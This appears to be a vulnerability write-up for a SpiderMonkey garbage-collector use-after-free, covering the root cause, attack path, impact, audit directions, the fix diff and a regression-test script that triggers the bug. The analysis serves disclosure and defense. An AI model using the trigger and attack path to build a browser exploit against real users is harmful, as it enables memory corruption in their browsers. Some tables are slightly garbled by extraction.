CVE-2026-117994
Overview
Background
- TenuringTracer
- the SpiderMonkey GC helper (
js/src/gc/Tenuring.cpp) that, during a minor GC, moves (“promotes”) live nursery objects out of the collected nursery region, either into the tenured heap or, under semispace nursery collection, into the surviving nursery region. - Dependent string / root base
- a dependent string stores no characters of its own; it references a range inside a base string.
rootBaseDuringMinorGC()walks to the non-dependent root base, which itself cannot be dependent (bounding the recursion to one level). - `promotedToNursery`
- a
TenuringTracermember flag that records, for the object currently being promoted, whether it was relocated into the surviving nursery region (semispace) rather than tenured. The caller consults this flag to update remembered-set / store-buffer bookkeeping for the promoted object. - Semispace nursery
- a nursery-collection mode (
--gc-param=semispaceNurseryEnabled=1, used by the regression test) where survivors are copied to a second nursery region instead of being tenured; correct per-object promotion tracking is essential here.
Root Cause Analysis
In js::gc::TenuringTracer::promoteString, promoting a dependent string requires first promoting its root base via InCollectedNurseryRegion(base) ? promoteOrForward(base) : base. The promoteOrForward call recurses through the generic promotion machinery, and that nested promotion of the base overwrites the tracer’s promotedToNursery member to reflect where the base ended up. When control returns to promoteString, the flag no longer describes the dependent string (src/dst) that the outer call is promoting — it has been clobbered with the base’s result. The caller of promoteString then uses this stale promotedToNursery value to decide the dependent string’s remembered-set/store-buffer treatment, so the dependent string can be mis-recorded (e.g. treated as tenured when it actually survived in the nursery region, or vice versa).
The patch saves the flag before the recursive promotion and restores it afterward: bool promotedToNurseryPrev = promotedToNursery; ... promotedToNursery = promotedToNurseryPrev; immediately after computing promotedBase. This guarantees that when promoteString returns, promotedToNursery describes the dependent string, not its base, so the post-GC tracking of the dependent string is correct. A mis-tracked nursery string is not registered for tracing in the next minor GC; its base pointer (or the dependent string itself) is then left dangling across a later collection, which is the use-after-free the advisory describes. The accompanying regression test (bug-2080787.js) exercises exactly this: it builds dependent strings (string concatenations held in a WebAssembly.Table externref slot) and drives repeated semispace minor GCs under allocation pressure.
promotedToNursery state; the outer promotion then applied the base’s promotion result to the dependent string, corrupting the GC’s record of where the dependent string lives.Attack Path
- Web content
script allocates many short-lived dependent strings, e.g. by concatenating strings so the result is represented as a dependent string borrowing a nursery-allocated base (inferred from the test’s
prefix + round + suffixpattern). - Reachability pin
a live reference to such a string is parked where it survives a minor GC (the test stores it in a
WebAssembly.Tableexternref slot). - Trigger minor GC sustained allocation pressure forces semispace minor GCs while the dependent string and its base are still in the collected nursery region (inferred: requires semispace nursery, which the test enables explicitly).
- State clobber
during promotion of the dependent string,
promoteOrForward(base)recurses and overwritespromotedToNursery; the dependent string is mis-recorded as to its promotion. - Dangling reference a subsequent minor GC fails to trace the mis-tracked string/base; the character storage is reclaimed or moved while a live reference still points at it.
- Primitive
use-after-free of a
JSString’s backing storage reachable from script (read of freed/reused memory; corruption potential inferred).
Impact Assessment
promoteString. The achieved primitive is a use-after-free of a dependent string’s character storage across a minor GC, giving an attacker reads of reclaimed/reused memory and a foothold for further corruption; full control is not shown by the diff and is (inferred). Gating preconditions: the dependent-string shape and a semispace-nursery minor GC occurring at the right moment. Mozilla rates it moderate; the diff is consistent with a genuine, script-reachable UAF rather than a mere crash.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifjs/src/gc/Tenuring.cpp |
modified | |
forjs/src/jit-test/tests/gc/bug-2080787.js |
modified |
Files Changed
js/src/gc/Tenuring.cppjs/src/jit-test/tests/gc/bug-2080787.js
Audit Directions
- Shared tracer state across recursionaudit every site in
Tenuring.cppwhere a promotion routine recurses (promoteOrForward,promoteObject, rope/atom handling) while relying on aTenuringTracermember such aspromotedToNursery; any member read after a recursive promotion is a candidate for the same clobber. - Dependent/rope string promotionreview base-pointer rewiring in
updateToPromotedBase/setBaseand rope flattening paths for other cases where the base is promoted mid-operation and per-object GC bookkeeping must survive the recursion. - Semispace-specific trackingbecause the flag only matters under semispace nursery, search for logic guarded by
InCollectedNurseryRegionor semispace checks where survivor-region vs tenured classification feeds the store buffer.
Patch
diff --git a/js/src/gc/Tenuring.cpp b/js/src/gc/Tenuring.cpp
index 3bf2d31a9ed..3211dc6220e 100644
--- a/js/src/gc/Tenuring.cpp
+++ b/js/src/gc/Tenuring.cpp
@@ -1294,11 +1294,13 @@ JSString* js::gc::TenuringTracer::promoteString(JSString* src) {
JSLinearString* base = src->asDependent().rootBaseDuringMinorGC();
// Limited recursion: the root base cannot be dependent, so this will not
- // recurse again.
+ // recurse again. Preserve the value of |promotedToNursery|.
+ bool promotedToNurseryPrev = promotedToNursery;
JSString* promotedBase =
InCollectedNurseryRegion(base) ? promoteOrForward(base) : base;
- MOZ_ASSERT(!promotedBase->isDependent());
+ promotedToNursery = promotedToNurseryPrev;
+ MOZ_ASSERT(!promotedBase->isDependent());
dst->asDependent().setBase(&promotedBase->asLinear());
if (base != promotedBase) {
dst->asDependent().updateToPromotedBase(base);
diff --git a/js/src/jit-test/tests/gc/bug-2080787.js b/js/src/jit-test/tests/gc/bug-2080787.js
new file mode 100644
index 00000000000..7c26a41e675
--- /dev/null
+++ b/js/src/jit-test/tests/gc/bug-2080787.js
@@ -0,0 +1,25 @@
+// |jit-test| --gc-param=semispaceNurseryEnabled=1
+
+const retained = new Array(256);
+const prefix = "a".repeat(701);
+const suffix = "b".repeat(733);
+const extension = "c".repeat(769);
+let serial = 0;
+let checksum = 0;
+function pressure(count) {
+ for (let index = 0; index < count; index++) {
+ retained[index & 255] = {serial: serial++};
+ }
+}
+for (let round = 0; round < 100; round++) {
+ const table = new WebAssembly.Table({element: "externref", initial: 1});
+ const older = prefix + round + suffix;
+ table.set(0, older);
+ const spacing = 2500 + round % 5 * 500;
+ pressure(spacing);
+ checksum ^= (older + extension).toLowerCase().charCodeAt(0);
+ pressure(spacing);
+ table.grow(257);
+ pressure(6000);
+ checksum ^= table.get(0).charCodeAt(0);
+}
Regression Test / PoC
diff --git a/js/src/jit-test/tests/gc/bug-2080787.js b/js/src/jit-test/tests/gc/bug-2080787.js
new file mode 100644
index 00000000000..7c26a41e675
--- /dev/null
+++ b/js/src/jit-test/tests/gc/bug-2080787.js
@@ -0,0 +1,25 @@
+// |jit-test| --gc-param=semispaceNurseryEnabled=1
+
+const retained = new Array(256);
+const prefix = "a".repeat(701);
+const suffix = "b".repeat(733);
+const extension = "c".repeat(769);
+let serial = 0;
+let checksum = 0;
+function pressure(count) {
+ for (let index = 0; index < count; index++) {
+ retained[index & 255] = {serial: serial++};
+ }
+}
+for (let round = 0; round < 100; round++) {
+ const table = new WebAssembly.Table({element: "externref", initial: 1});
+ const older = prefix + round + suffix;
+ table.set(0, older);
+ const spacing = 2500 + round % 5 * 500;
+ pressure(spacing);
+ checksum ^= (older + extension).toLowerCase().charCodeAt(0);
+ pressure(spacing);
+ table.grow(257);
+ pressure(6000);
+ checksum ^= table.get(0).charCodeAt(0);
+}